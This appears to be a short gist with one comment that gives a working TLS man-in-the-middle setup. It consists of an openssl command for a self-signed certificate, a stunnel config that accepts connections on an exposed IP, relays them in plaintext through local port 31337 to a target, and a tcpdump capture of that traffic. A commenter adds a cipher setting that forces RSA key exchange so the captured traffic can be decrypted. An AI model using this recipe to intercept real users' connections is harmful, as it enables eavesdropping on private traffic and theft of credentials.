A quick and dirty SSL MiTM using stunnel
- Generate a SSL certificate .. or use Let's Encrypt (for the green lock)
openssl req -batch -new -x509 -days 365 -nodes -out mitm.pem -keyout mitm.pem
- Run stunnel
stunnel mitm.conf
;mitm.conf
[server]
client = no
cert= ./mitm.pem
accept = <EXPOSEDIP>:443
connect = 127.0.0.1:31337
[client]
client = yes
accept = 127.0.0.1:31337
connect = <TARGET>:443
- Capture unencrypted traffic
sudo tcpdump -ilo -s0 -v -w ./mitm.pcap 'port 31337'
Thanks for this one!
As I had some struggle to move ahead with TLS decryption once the packets were captured, I wanted to share how I managed to get it working. Hopefully it will help someone
Actually, the only way to decrypt TLS with the pem file only (including your private key) is to use TLS with a RSA cipher.
More and more clients and servers are handling TLS with DiffieHellman ciphers (DH) so if you want to be able to decrypt easily your traffic, you should add this config either on the
[server]
or[client]
configciphers = RSA
It will tell the counterpart that you want to negiotiate your TLS encryption with a cipher from the RSA-family. Hopefully you will find a common RSA cipher to ease your decryption process by using the private key from the pem file.
There are ways to decrypt DH ciphers also but its more complex... as this gist is for simple MITM I guess we should not mention this here :)